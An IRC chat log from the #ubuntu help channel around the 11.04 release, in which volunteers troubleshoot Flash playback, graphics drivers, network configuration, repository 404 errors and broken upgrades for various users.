[11:47] <KM0201> you really shouldn't need medibuntu anymore, but it works just as well..
[11:47] <Jasonn> champ__: Is it enabled??
[11:47] <boot> i check again only in internet explorer site is working
[11:48] <KM0201> boot: hold on
[11:48] <agronholm> boot: that's what I thought too
[11:48] <champ__> <Jasonn> yes
[11:48] <boot> i don't know what the problem
[11:48] <agronholm> boot: I already explained what the problem is
[11:48] <agronholm> did you miss that line?
[11:48] <Jasonn> champ__: And you are sure you dont have more than one flahs "player" installed?
[11:48] <boot> so whyt site is working in internet explorer
[11:48] <boot> internet explorer 8?
[11:48] <ActionParsnip> agronholm: check with: http://www.isjavascriptenabled.com/
[11:48] <champ__> Jasonn: how do i check it ?..
[11:48] <agronholm> ActionParsnip: not my problem...I'm helping boot out here
[11:48] <KM0201> boot: hold on a second.. jeez.. learn a little patience
[11:49] <Jasonn> champ__: go on the browser and type this in in the addr bar: about:plugins
[11:49] <agronholm> boot: because internet explorer works case insensitively with document.getElementById()
[11:49] <boot> ok
[11:49] <agronholm> the others do not
[11:49] <boot> so the main is with site
[11:50] <agronholm> main what?
[11:50] <champ__> Jasonn: it shows a list..
[11:50] <Jasonn> champ__: Yeah, look for flash player, and make sure it is enabled
[11:50] <boot> so the problem is with the site
[11:50] <agronholm> boot: yes, like I told you already.
[11:50] <agronholm> I don't understand why people use Internet Explorer so much in India
[11:51] <agronholm> and China too
[11:51] <Jasonn> agronholm: Because there is a lot of people xD
[11:51] <jatt> http://en.wikipedia.org/wiki/File:Internet-explorer-usage-data.svg
[11:51] <agronholm> Jasonn: that has what to do with browser market share?
[11:51] <boot> i am using firefox for more than 3years
[11:52] <champ__> Jasonn: could u be more specific ?
[11:52] <boot> but if the creator don't create the website supporting it
[11:52] <KM0201> boot: has it worked previously with linux?
[11:52] <agronholm> boot: yes but clearly that site was only tested with IE
[11:52] <boot> what can a normal user do
[11:52] <agronholm> boot: nothing really
[11:52] <Jasonn> agronholm: Yes, because many people dont bother installing another one
[11:52] <literally_barry> Hey all, just got a quick question about the Ubuntu 11.04 installation process?
[11:52] <boot> i am using firefox for more than 3 years
[11:52] <agronholm> yeah we heard you the first time
[11:53] <literally_barry> I've booted into the Live CD, and run the "Install Ubuntu" icon on the desktop.
[11:53] <Jasonn> !enter literally_barry
[11:53] <Jasonn> !enter | literally_barry
[11:53] <ubottu> literally_barry: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[11:54] <literally_barry> It gets to the page where it says "Preparing Ubuntu installation" page, I click next, and nothing happens. grub-mount maxes the CPU (see here: http://i.imgur.com/CmLxd.png) and I've been sitting here about 15 minutes waiting for some progress. Any suggestions?
[11:54] <vibhav> !flood
[11:54] <ubottu> For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[11:54] <sec_goat> I am currently using Lubuntu 10.10 if I click upgrade to Ubuntu 11.04 does that change what ever makes Lubuntu more light weight?
[11:55] <Jasonn> sec_goat: This is the Ubuntu channel, we dont support Lubuntu
[11:55] <KM0201> sec_goat: no, it upgrades you to lubuntu 11.04
[11:55] <ActionParsnip> literally_barry: did you MD5 test the ISO you downloaded?
[11:55] <sec_goat> Jasonn: my bad, I did realize there was a difference
[11:55] <boot> and how to enable root
[11:55] <boot> ?
[11:56] <Lopyshok> people hi how i can open TCP and UDP port 6112 for play dota ;)
[11:56] <Jasonn> sec_goat: Nah, its alright mate, its just made by a different comany
[11:56] <literally_barry> Yeah, I've checked, the torrent also did re-checking, and it matched.
[11:56] <literally_barry> boot: you only need to set a password for root to enable it (iirc) like this: sudo passwd root
[11:56] <ActionParsnip> literally_barry: ok and are you using CD or USB to install?
[11:56] <KM0201> boot: ubuntu doesn't use root
[11:56] <KM0201> !sudo | boot
[11:56] <ubottu> boot: sudo is a command to run command-line programs with superuser privileges ("root") (also see !cli). Look at https://help.ubuntu.com/community/RootSudo for more information. For graphical applications see !gksu (GNOME, Xfce), or !kdesudo (KDE). If you're unable to execute commands with sudo see: http://www.psychocats.net/ubuntu/fixsudo
[11:56] <sec_goat> jasonn: i guess thats where I am confused, I really can't tell the difference, except it works better on this POS laptop
[11:56] <ActionParsnip> !noroot | literally_barry
[11:56] <ubottu> literally_barry: We do not support setting a root password. You're free to do it on your own machine, but please don't offer instructions on how to set a root password or ask for help with setting it. See !root and !wfm for more information.
[11:56] <literally_barry> ActionParsnip: I am using a CD.
[11:56] <boot> ok
[11:56] <Lopyshok> people hi how i can open TCP and UDP port 6112 for play dota ;)
[11:56] <KM0201> boot: is this your first venture into linux?
[11:57] <boot> and can i browse my windows partition from ubuntu
[11:57] <boot> yes KM0201
[11:57] <KM0201> boot: most of the time, yes.
[11:57] <EClaesson> In 10.10 which i ran until about now, dropbox showed an icon in the top right of my screen which showed its status and had a drop down menu. Now in Narval, i don't know how to get it there. In 10.10 the icon automatically appeared when i started dropbox.
[11:57] <ActionParsnip> literally_barry: DON'T tell people how to mess up their systems with root passwords and such in future
[11:57] <Jasonn> Lopyshok: On your Ubuntu machine
[11:57] <Jasonn> ?
[11:57] <literally_barry> ActionParsnip: Sorry, I wasn't fully aware of the rules here.
[11:57] <ActionParsnip> literally_barry: did you burn the CD as slowly as you were allowed?
[11:57] <ActionParsnip> literally_barry: did you make the CD chec itself for defects once the boot starts?
[11:57] <boot> and how to install ati 5770 drivers
[11:58] <literally_barry> ActionParsnip: I did not. I'm going to let this idle, return to another system and do that. Cheers for the help. I'll be back if I don't have any success. =P
[11:58] <ActionParsnip> literally_barry: did you test your RAM?
[11:58] <literally_barry> ActionParsnip: RAM is tested, it's ECC. This system is only about a month old.
[11:58] <KM0201> boot: ati can be tricky
[11:58] <boot> as i dowloaded the latest drivers of ati 5770
[11:58] <pagz> whois pagz
[11:58] <boot> but it is not installing
[11:58] <literally_barry> I'm going to re-burn slower. Thanks for the advice ActionParsnip.
[11:58] <ezrafree> how should i upgrade to the latest ubuntu?
[11:58] <dupondje> rsnapshot       ALL=(ALL) NOPASSWD: ALL
[11:58] <KM0201> !upgrade | ezrafree
[11:58] <ubottu> ezrafree: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[11:58] <ezrafree> thank you
[11:59] <ActionParsnip> ezrafree: you can only upgrade from Maverick, otherwise you will need to upgrade to the intermittent releases to get there
[11:59] <dupondje> rsnapshot       ALL=(ALL) NOPASSWD: ALL => If I have this in sudoers, rsnapshot should be able to run sudo command without giving the password right ?
[11:59] <boot> but when i enable the restricted drivers ati 5770 it is working and enabled
[11:59] <g4> after doing an upgrade, emerald doesn't seem to work and I'm missing window decoration. Any advice on how to add window decoration again?
[11:59] <boot> is this driver is as good as the driver available on ati site?
[12:00] <tbf> is it somehow possible to directly view the patches ubuntu applies to some package? e.g. there: https://launchpad.net/ubuntu/natty/+source/qt4-x11/
[12:00] <KM0201> boot: the drive in additional drivers, should work fine i would think (at least it does w/ nvidia)
[12:00] <ThinkT510> boot: its recommended you stick to what ubuntu provides
[12:00] <boot> ok
[12:00] <AFD> Anyone mind helping me with a repo problem I have?
[12:01] <celthunder> boot: open source drivers for ati are better than catalsyt for 9/10 things
[12:01] <AFD> I get 404 errors for what appear to be legit repos when performing an apt-get update
[12:01] <boot> ok
[12:02] <slide> Is there a channel for Unity?
[12:02] <g4> it seems to be that compiz has lost all the setting. Is it possible to revert compiz to default settins?
[12:02] <ThinkT510> !unity | slide
[12:02] <ubottu> slide: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[12:02] <celthunder> b 21
[12:04] <AFD> any help re:repos pls...
[12:04] <madradavid> #ubuntu
[12:04] <madradavid> help
[12:04] <madradavid> :help
[12:05] <celthunder> madradavid: you're here...whats the problem
[12:05] <uwex> madradavid: its "/help"
[12:05] <Anax192> Hello, people. I'm really sorry for just barging in here and writing like this. I'm kinda short with time and need a little help. Is there anyone available? Again, sorry for no introduction or anything. Oh, and if I have broken any rule by writing like this, sorry about that, too.
[12:06] <celthunder> Anax192: whats the prolem
[12:06] <celthunder> problem
[12:06] <ActionParsnip> Anax192: instead of writing all that you could have just asked...
[12:06] <madradavid> thanks umex
[12:06] <red2kic> When you assign a new launcher on gnome-panel, where is the file stored? I know it's in ~/ -- but I can't remember/find it.
[12:07] <tasslehoff> is ~/.Xmodmap used by Ubuntu?
[12:07] <Anax192> Well, my dad started updating his Ubuntu 8.10, and he interrupted the update while it was upgrading components, I think. I'm not sure. Now he can't boot up. It just stops at the Ubuntu flash screen with four orange dots underneath it.
[12:07] <madradavid> JOIN #ubuntu
[12:07] <ActionParsnip> Anax192: boot to root recovery and run: apt-get -f install
[12:07] <red2kic> madradavid: Welcome to #ubuntu!
[12:08] <AFD> help apt-get
[12:08] <uwex> madradavid: every command starts with "/"
[12:08] <ezrafree> can Compiz be used in 11.04 with GNOME?
[12:08] <Anax192> I'm sorry, can you just explain what root recovery is? Do I choose that from that list that appears every time I start up my computer?
[12:08] <madradavid> USERLIST
[12:08] <knightstalker> Hello,I've tried to install gnome shell on 11.04(Yeah,I know that was experimental),and now when I try to login the monitor will go black for a second and then I am back to login page(Well,I tried removing gnome-shell),I could however,use recovery mode to startx into root's KDE
[12:08] <madradavid> userlist
[12:08] <knightstalker> however,the same method doesn't work for my regular user and KDE will not load
[12:08] <AFD> can anyone help with my repo 404 errors please
[12:08] <tatzenblogde> Anax192, the Recovery Mode is a special mode to boot ubuntu in a special mode where you have a root-shell
[12:08] <celthunder> Anax192: boot to init 1 (add a 1 to the end of the kernel line in grub)
[12:08] <rafi_> Hi friends
[12:09] <ActionParsnip> Anax192: reboot and press ESC when grub starts to load, then select recovery mode, then select root
[12:09] <Kingsy101> I am assuming my ubuntu pc is using dhcp.. however in /etc/network/interfaces there is only two lines --> auto lo      iface lo inet loopback        shouldnt there be another two lines regarding eth0 and dhcp ?
[12:09] <ojii> is there a way to change the shortcuts in the launcher? I won't ever need "view photos", so I'd like to replace it with something that is useful to me
[12:09] <Kingsy101> i.e am I looking in the wrong file ?
[12:09] <itguru> Can anyone recommend a good offline blog editor to use in? I'm trying to go Ubuntu exclusively for my social media needs :)
[12:09] <Anax192> Ok, thanks a lot people! I'll try! :)
[12:09] <rafi_> I have a problem with nvidia proprietary drivers with ubuntu 11.04
[12:09] <ActionParsnip> Kingsy101: not if you want network manager to manage the interface
[12:10] <rafi_> All of the functions keys work(fn)
[12:10] <champ__> cannot play apple .com videos
[12:10] <ActionParsnip> champ__: did you get the plugins installed ok?
[12:10] <Kingsy101> ActionParsnip - so what would you advise is the easiest way to get it on a static ip ?
[12:10] <celthunder> rafi_: that's a problem?
[12:10] <champ__> ActionParsnip:which ?
[12:10] <Giles> what package contains unity_support_test?
[12:10] <feAR`> the thing is that, after i created raid device on /boot, it now says raid device
[12:10] <ActionParsnip> Kingsy101: you can set it in network manager if you want, if it will forever be on static IP then you can use the interfaces file
[12:11] <rafi_> but brigthness fn key doesn't work
[12:11] <ActionParsnip> champ__: the ones from the medibuntu repo, like I told you earlier
[12:11] <Kingsy101> ActionParsnip - ok I will try..
[12:11] <champ__> ActionParsnip:wait checking .....
[12:11] <rafi_> Could you please help me?
[12:12] <ActionParsnip> Kingsy101: it will make the OS boot faster (not have to start network manager) and the OS run lighter (no network manager service running)
[12:12] <Giles> Does anyone know  what package contains unity_support_test?
[12:12] <elisa87> how can I run matlab2011 in ubuntu?
[12:12] <ActionParsnip> Giles: run:  dpkg -S unity_support_test
[12:12] <champ__> ActionParsnip:si it safe ?
[12:13] <champ__> ActionParsnip:is it safe ?
[12:13] <ezrafree> can anyone tell me if Compiz be used in 11.04 with GNOME?
[12:13] <rafi_> celthunder: Could you please help me?
[12:13] <ActionParsnip> champ__: yes
[12:13] <ActionParsnip> !medibuntu | champ__
[12:13] <ubottu> champ__: medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org
[12:15] <Guest57288> Hi guys, got a wireless network problem with ubuntu 11.04 and a broadcom card
[12:16] <Kingsy101> ActionParsnip - what is the difference between network and gateway ? when I am specifying them in the interfaces file ?
[12:16] <Kingsy101> I cant see reference to either in a ifconfig
[12:16] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[12:16] <pauru> Hi all, whats up? :) guys i have a problem, when i plug in any external storage USB when i want to remove it i press safely remove but after a while the window pops up again and i have to remove it again in order to stop working, why? does anyone know what is happening?
[12:16] <celthunder> Kingsy101: network is  your subnet gateway is your way out of the network (usually your router)
[12:17] <Kingsy101> celthunder - how do I find out my subnet ?
[12:17] <KM0201> Guest57288: di you know which broadcom chipset?   there's several
[12:17] <celthunder> Kingsy101: you at home on a home network with stock settings it's likely 255.255.255.0
[12:17] <rafi_> I just installed nvidia proprietary driver in ubuntu 11.04
[12:18] <Guest57288> Yeah i just lost the info saying wichone, ill need to dig it up again 2sec
[12:18] <Kingsy101> celthunder - I thought that was the subnet mask ?
[12:18] <Kingsy101> sorry mask
[12:18] <rafi_> but brigthness fn key doesn't work
[12:18] <daemonkol123> hey anyone please help me
[12:18] <Kingsy101> celthunder - so if thats the case what do I put for "mask" ?
[12:18] <daemonkol123> quit
[12:18] <stix> Hi guys. I want to grep something a match the word "Ring" followed by a whitespace. grep 'Ring\s' is not working. What should I use?
[12:18] <KM0201> daemonkol123: state your question, if someone can answer your question, they will.
[12:18] <Guest57288> BCM4313
[12:18] <champ__> ActionParsnip:did this udo wget --output-document=/etc/apt/sources.list.d/medibuntu.list http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list && sudo apt-get --quiet update && sudo apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring && sudo apt-get --quiet update
[12:18] <celthunder> Kingsy101: nvm sorry
[12:19] <KM0201> Guest57288: are you sure its not an lp-phy ?
[12:19] <jrib> stix: [:space:] (see "man grep")
[12:19] <daemonkol123> i want to install gnome-terminal-3.0.1 to my backtrack 4
[12:19] <daemonkol123> but how
[12:19] <Guest57288> I wouldnt know how to tell
[12:19] <KM0201> daemonkol123: you need to get help in backtrack support channels
[12:19] <ThinkT510> !backtrack | daemonkol123
[12:19] <ubottu> daemonkol123: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[12:20] <KM0201> Guest57288: post exactly what  lspci | grep Broadcom            says
[12:20] <daemonkol123> but how to get this channel
[12:20] <KM0201> daemonkol123: "/join #backtrack-linux"
[12:20] <jcmarini> my cd burner will recognise a blank cd but NOT a blank dvd... anyone know why not?
[12:20] <Kingsy101> can someone tell me where I find out    network and gateway  for the interfaces file? I cant see mention of them in ifconfig...
[12:20] <daemonkol123> k thanx
[12:20] <AFD> I need help with my repos - getting 404 errors when performing apt-get update
[12:21] <royerfa> hi
[12:21] <cdavis> AFD: Are you using Natty?
[12:21] <Guest57288> 03:00.0 Network controller: Broadcom Corporation BCM4313 802.11b/g/n Wireless LAN Controller (rev 01)
[12:21] <xskydevilx> How do I upgrade from Maverick to Natty using the CD?
[12:21] <AFD> cddavis: I'm on 10.10
[12:21] <jrib> !upgrade | xskydevilx
[12:21] <ubottu> xskydevilx: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[12:21] <jrib> xskydevilx: you must use the alternate cd for that
[12:21] <AFD> cdavis: I'm on 10.10
[12:21] <celthunder> Kingsy101: i'm doing too many things at once atm ignore me
[12:21] <KM0201> Guest57288: ok... what have you done to try to get it to work?
[12:22] <AFD> cdavis: Here is my output (I posted on askubuntu with no joy) http://askubuntu.com/questions/36115/repo-errors-when-doing-apt-get-update
[12:22] <tjader> My numpad is misbehaving: it is sending weird key combinations instead of the expected ones
[12:23] <ikonia> AFD: look at the errors, it's complaining about your external repos
[12:23] <stix> jrib, thank you it worked :)
[12:23] <tjader> It only happens after I log into X, VTs and GDM work fine
[12:23] <ikonia> AFD: you've got a ton of external repos in there that are nothing to do with official ubuntu repos
[12:23] <KM0201> Guest57288: what have you done to get that to work?
[12:24] <AFD> ikonia: there are external repos yes, but the maverick/main Sources are getting 404 errors too
[12:24] <Guest57288> KM0201: I wouldnt really know tbh, ive been around on forums and wiki pages trying to sort it out, driver compiling and stuff.
[12:24] <ikonia> AFD: then your interenet connection / dns is not working
[12:24] <cdavis> AFD: remove the repo for nilarimongard and then apt-get update
[12:25] <KM0201> Guest57288: answer your PM
[12:25] <tjader> Everything looks fine on gnome-keyboard-properties
[12:25] <AFD> cdavis: I'll give that a go now - thanks
[12:25] <Abhijit> duanedesign, ping
[12:25] <AFD> ikonia: I believe my dns/network is fine... I can do everything else
[12:26] <duanedesign> Abhijit: pong
[12:26] <Abhijit> duanedesign, hey what do you use to tune violin?
[12:26] <Abhijit> duanedesign, lingot is not useful.
[12:26] <Abhijit> its pointer keeps chaning very freqently.
[12:27] <pauru> Hi all, whats up? :) guys i have a problem, when i plug in any external storage USB when i want to remove it i press safely remove but after a while the window pops up again and i have to remove it again in order to stop working, why? does anyone know what is happening?
[12:27] <andai> hw d y chnge the cbrd sttngs
[12:28] <andai> hf th cys r gne!
[12:28] <madsailor> Abhijit, you can change it's sampling rate under settings
[12:28] <Abhijit> madsailor, i 'can' change. but i dont know what value i should to change to?
[12:28] <andai> ny qbrd s fqt
[12:29] <Tyred> Hey
[12:29] <Kingsy101> can someone tell me where I find out    network and gateway  for the interfaces file? I cant see mention of them in ifconfig...
[12:29] <AFD> cdavis: that seems to have cleared up all but one 404 error
[12:29] <Garry> i still having problems with converting AVI.2MP2
[12:29] <madsailor> Abhijit, under adjustments tab, calculation rate I think
[12:30] <Abhijit> madsailor, ok
[12:30] <Tyred> Having issues with ath9k on Xubuntu x86_64, Slow speeds
[12:30] <AFD> cdavis: just the nightlies.videoland.org one is 404 now... I'll try removing the repo and re-adding
[12:30] <Tyred> Can anyone help? :)
[12:30] <AFD> cdavis: thanks for the help btw ;)
[12:31] <Toiletbowl> guys hows the performance of 11.04?
[12:31] <KM0201> Toiletbowl: well, unity is getting mixed reviews, but other than that.. it seems to run great to me
[12:32] <wagnor> help, i've stopped apache server using /etc/init.d/apache2 stop , but the server is still standing - when i get onto 127.0.0.1 i still see "It works!" and port 80 is still taken. How can i check what occupies that port ?
[12:32] <wagnor> i try netstat -a | grep 80 but i see no apache2 there - in fact i see nothing on that port
[12:33] <andai> my keyboard  is completle
[12:33] <jcmarini> is there any reason why a blank dvd is not recognised but a blank cd is?
[12:33] <Abhijit> how to tune violin in linux?
[12:33] <bindi> you don't have a dvd drive? :D
[12:33] <viddy> wagnor: try grep http
[12:33] <Tyred> Any help please?
[12:34] <sipior> Tyred: easier if you just ask your question directly.
[12:34] <andai> my keyboard  is completely messed  up, how do i reset layout
[12:34] <Vishal_> I got an issue with the new ubuntu... I can't get into the gui. The new bar on the left keeps blinking as if it's constantly reloading. Is this a known bug? Any body know of a fix?
[12:35] <wagnor> viddy: it shows nothing
[12:35] <champ__> ActionParsnip:installed win32codec from medi ubuntu rep. still no use . cannot play video sfrom apple.com.
[12:35] <Tyred> sipior: I did do that, just didn't get any respos, anyway having issues with ath9k on Xubuntu x86_64, problem is slow speeds
[12:36] <Abhijit> anyone expert using lingot?
[12:36] <Abhijit> help
[12:36] <Vishal_> anyway to revert my 11.04 upgrade back to 10.10??
[12:36] <ActionParsnip> champ__: try: sudo apt-get install gstreamer0.10-ffmpeg
[12:36] <ActionParsnip> Vishal_: reinstall maverick
[12:37] <tasslehoff> hm. I don't like that shotwell started creating a library from the Pictures folder even before I had told where I wanted it to look..
[12:37] <champ__> ActionParsnip:gstreamer0.10-ffmpeg is already the newest version.
[12:37] <ActionParsnip> tasslehoff: the first dialogue had a tick box to add pictures from $HOME/Pictures   you must have missed that
[12:38] <pauru> Ubuntu has become really crappy you know?
[12:38] <tasslehoff> ActionParsnip: Could be. I'll delete the config dir and start over
[12:38] <pauru> Man i miss the old distros
[12:39] <Vishal_> it's becoming more like windows and mac... using up alot of resources..
[12:39] <ActionParsnip> pauru: don't use it then, there are plenty of linux based distros around to choose from
[12:39] <ActionParsnip> Vishal_: use LXDE instead of gnome, uses very little then
[12:39] <jatt> slackware is still around
[12:39] <Vishal_> i'll check it out action.
[12:39] <sipior> Tyred: yes, but what's the question. i mean, what qualifies as "slow speeds", what have you tried to fix the problem, &cet. "i'm having problems" doesn't give us much to go on, i'm afraid.
[12:40] <ActionParsnip> could also try BSD
[12:40] <Vishal_> i need gui for exam week. shiet...
[12:40] <Vishal_> i shouldn't have upgraded yet...
[12:40] <andai> pauru why
[12:40] <sipior> Tyred: also, what wifi chipset are you using?
[12:41] <Vishal_> something to do with my video settings... got an issue with loading up gnome properly.
[12:41] <ActionParsnip> Vishal_: you fixed something which wasnt broken
[12:41] <ActionParsnip> Vishal_: tried a clean install?
[12:41] <tasslehoff> ActionParsnip: starting it again, it begins "updating library", though I haven't added any pictures. it doesn't show any pictures either, so I`m not sure what it is doing :)
[12:41] <m13> OK, made oops on Ubuntu 11.4. I was playing with Compiz_config_manager to see if i could enable the cube.  Now the top of windows have gone, the left bar and super button don't work.
[12:41] <wolf__> how can i start cam on pidgin
[12:41] <pauru> ActionParsnip, you can't deny that its getting really crappy compared to the old ubuntu distros
[12:41] <m13> What do i need to do to get functions back :(
[12:41] <Vishal_> ActionParsnip i upgraded from 10.10... i don't wanna just clean install.. I got data on here.
[12:42] <Vishal_> i'm trying to make that my last resort.
[12:42] <wolf__> how can i start cam on pidgin
[12:42] <Tyred> sipior: Alright, fair enough. I have an TP-LINK Wireless N Card, Currently is having issues. And Atheros AR5008
[12:42] <ActionParsnip> Vishal_: then use your backups...
[12:42] <andai> pauru: define crappy :p
[12:42] <hint> tv
[12:42] <Garry> can anyone help me with converting media avi2mp3
[12:42] <ActionParsnip> Vishal_: if you use a seperate home partition its easier
[12:42] <Vishal_> if only i configured those...
[12:42] <pauru> i will w8
[12:43] <m13> a
[12:43] <m13> a
[12:43] <m13> a
[12:43] <m13> a
[12:43] <m13> a
[12:43] <FloodBot3> m13: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:43] <Vishal_> ActionParsnip u mean put a new clean install on a separate partition?
[12:43] <naike> can anyone help me with 11.04?
[12:43] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it?
[12:43] <sipior> Tyred: which version of ubuntu are you running, by the way?
[12:43] <m13> naike: what have you done?
[12:43] <chandru_in> I have all permissions enabled on a file for all users. Yet when I try to cat the file as another user, it says 'permission denied'.
[12:43] <eik3_de> I'm using the chromium-daily PPA and since the latest update (13.0.752.0) chromium can't connect to SSL sites with self-signed certificates anymore. When I click "proceed anyway" nothing happens. Any clues?
[12:43] <ActionParsnip> Vishal_: no the same, wipe clean and reinstall, then restore backups
[12:43] <naike> m13 I get the error: Unable to install GRUBB in dev-sda when installation is almost complete
[12:44] <Tyred> sipior: It is not operating like it should be. Limited to a max of 25KB/s at max. I am running 11.04
[12:44] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it?
[12:44] <m13> naike: not my bag..
[12:44] <naike> m13: ok :(
[12:45] <naike> Anyone else know the solutionf or this error: Unable to install GRUBB in dev-sda
[12:45] <Lcawte> Anyone?
[12:45] <naike> lcawte we ened to know what caused the error
[12:45] <Vishal_> ActionParsnip i'll try what you're saying... i have no backups setup though...
[12:45] <Lcawte> naike: and how can I tell you that?
[12:45] <Vishal_> ActionParsnip does ubuntu have a backup process in the installation?
[12:45] <Crazy> hello everyone
[12:45] <sipior> Tyred: perhaps this is useful: http://www.qbie.com/?p=431
[12:46] <naike> no idea lol :s are there any logs or something i never used ubuntu for more than 10 mins
[12:46] <sipior> Tyred: looks like a more recent driver might solve the problem for you.
[12:46] <Crazy> my chrome can't open video
[12:46] <naike> i hope you backed up your system, upgrades come with risks
[12:46] <champ__> ActionParsnip:it says gstreamer0.10-ffmpeg is already the newest version.
[12:46] <Vishal_> naike :D I wish I was more responsible.
[12:46] <Vishal_> lol
[12:46] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it?
[12:47] <ActionParsnip> champ__: you said earlier, and I saw earlier
[12:47] <zvacet> naike: read https://help.ubuntu.com/community/Grub2#Reinstalling from LiveCD and see if it helps
[12:47] <Tyred> sipior: Yea, was thinking of same. I have tried disabling power management incase that was effecting it but unfortunately no dice...
[12:47] <thien> I create a launcher for a shell script file. How to make it run silently - without the box "Do you want to run..." (Run in Terminal/ Display/ Cancel/Run)
[12:47] <pauru> More and more people are having problems with the 3 latest ubuntu releases, and i am one of those. i have seen so many bugs in these last releases that i felt like i would jump out of the window xD
[12:47] <naike> zvacet: thanks
[12:47] <Vishal_> Lcawte, u and I are on the same boat!
[12:47] <champ__> ActionParsnip:sorry
[12:47] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[12:48] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it? Syslog: http://pastebin.ubuntu.com/602225/
[12:48] <Vishal_> I bet there have been a ton of graphics related issues yea? With the whole unity thing and docky crap.
[12:49] <sipior> Tyred: hopefully that page will have the drivers you need to get up and running at decent network speeds.
[12:49] <biffsharp> yup sure has been alot of probs
[12:49] <pauru> I really prefere the old ones like i.ibex and seems like i will change distro again. i loved ubuntu and i still love it but it gets really crappy
[12:49] <Tyred> sipior: Yea, just read it hehe... Was just about to attempt that after researching it myself, Thanks
[12:49] <Vishal_> pauru what distro u gonna try?
[12:49] <Dr_Willis> thien:  make sure your script is executable, and has a proper #!/bin/bash (or whatever is needed) line at the start?
[12:49] <antihero> What are the primary mirror sites for the UK?
[12:50] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it? Syslog: http://pastebin.ubuntu.com/602225/
[12:50] <antihero> gb.archive or gb.releases?
[12:50] <ActionParsnip> pauru: what is your issue with it?
[12:50] <naike> zvacet: the ubuntu installer already performs those commands, I don't think that is the problem
[12:50] <Dr_Willis> Lcawte:  flashikg caps lock/numpad light? thats not a good sign. Does a live cd work in the system?
[12:50] <franciel> Hi
[12:50] <pauru> Right now i have problems with my usb drives
[12:51] <ActionParsnip> pauru: have you logged a bug?
[12:51] <franciel> how i can reinstall the default profileof unity?
[12:51] <pauru> when i plug in any external storage USB when i want to remove it i press safely remove but after a while the window pops up again and i have to remove it again in order to stop working, why? does anyone know what is happening?
[12:51] <thien> Dr_Willis: it has #!/bin/sh and executable
[12:51] <Lcawte> Dr_Willis: scroll lock and caps lock, yes, I'm running the latest live CD I have (9.10) at the moment
[12:51] <GeorgeJ> Hello, folks. I've just updated to 11.04 and kinda dislike Unity. I've installed gnome-shell, but now I'm having an issue with .ICEauthority, I have both chowned the file and chmodded it to 777. Still getting the error, what should I do next?
[12:51] <franciel> !unity
[12:51] <jjlee>  I just reinstalled my OS.  I'm using same home dir, OS release (ubuntu maverick), hardware -- only change is the disk I booted from.  Old install: kaffeine works fine, flashplayer-nonfree (Adobe Flash ns plugin) works fine.  New install: no sound from kaffeine, nor flashplayer-nonfree.  On new install, aplay -Dplughw:1,0 random.wav works.  On the old install, I believe I didn't need the -D argument.  On the new install, apl
[12:51] <jjlee> ay hangs without that argument.
[12:51] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[12:51] <naike> i have my hdd partitioned in 3 primary partitions, and I want to install ubuntu on the unallocated space left
[12:51] <Dr_Willis> thien:  instead of a launcher you could just make a soft link to it perhaps.
[12:51] <naike> but i get this Unable to install GRUBB in dev-sda
[12:52] <ActionParsnip> pauru: have you logged a bug?
[12:52] <jjlee> So why no sound from kaffeine / flash player?  Where should I be looking?
[12:52] <pauru> ActionParsnip, You mean if i have reported a bug?
[12:52] <ActionParsnip> pauru: same thing, but have you?
[12:52] <Lcawte> Dr_Willis: Any ideas then?
[12:53] <thien> Dr_Willis: i make a link, but it show that box, too
[12:53] <champ__> ActionParsnip:any help?
[12:53] <jcmarini> my burner will burn cds but not dvds?
[12:53] <ActionParsnip> champ__: dude, seriously. I have no further advice. Can't you take a hint?
[12:53] <champ__> ActionParsnip:thank u
[12:53] <naike> How does WUBI work? does it install ubuntu like if i would use a live cd or does it somehow install it as a simulation actually in windows or something?
[12:54] <ActionParsnip> champ__: did't you pick that up at all when I wasn't replying to you??
[12:54] <jjlee> jcmarini: what are you doing to try to burn DVDs?  What happened when you did that?
[12:54] <pauru> ActionParsnip, nope
[12:54] <Dr_Willis> thien:  sounds like more security stuff they put in.. sort of annoying.
[12:54] <champ__> ActionParsnip:slow learner
[12:54] <Dr_Willis> thien:  testing it with differnt extensions now.
